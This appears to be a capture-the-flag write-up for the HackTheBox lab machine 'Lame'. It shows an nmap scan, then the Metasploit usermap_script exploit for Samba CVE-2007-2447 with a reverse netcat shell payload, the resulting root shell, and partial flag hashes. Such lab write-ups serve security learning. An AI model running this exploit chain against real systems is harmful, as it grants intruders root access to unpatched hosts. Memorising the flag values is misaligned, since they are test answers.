Summary

Lame is a classic “easy” Linux box that only needs one well-known Samba vulnerability to fall. It’s a great first box for learning why keeping services patched matters.

Recon

$ nmap -sC -sV -p- -T4 10.10.10.3
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
22/tcp  open  ssh         OpenSSH 4.7p1 Debian
139/tcp open  netbios-ssn Samba smbd 3.0.20-Debian
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian
3632/tcp open  distccd    distccd v1

Samba 3.0.20 is ancient and vulnerable to CVE-2007-2447 (the “SambaCry” predecessor — command injection via username in smbd).

Exploitation

$ msfconsole -q
msf6 > use exploit/multi/samba/usermap_script
msf6 > set RHOSTS 10.10.10.3
msf6 > set PAYLOAD cmd/unix/reverse_netcat
msf6 > exploit

We get a root shell directly — usermap_script runs as root.

[*] Command shell session 1 opened
id
uid=0(root) gid=0(root)

Flags

user.txt: 69454e37...
root.txt: b91cce1f...

Lessons

1. Version numbers matter — 3.0.20 is a one-search-query answer.
2. Always run -sC -sV on every port, not just the web ones.
3. Check the date of the box: retired easy boxes teach one clean technique each; perfect for drilling methodology.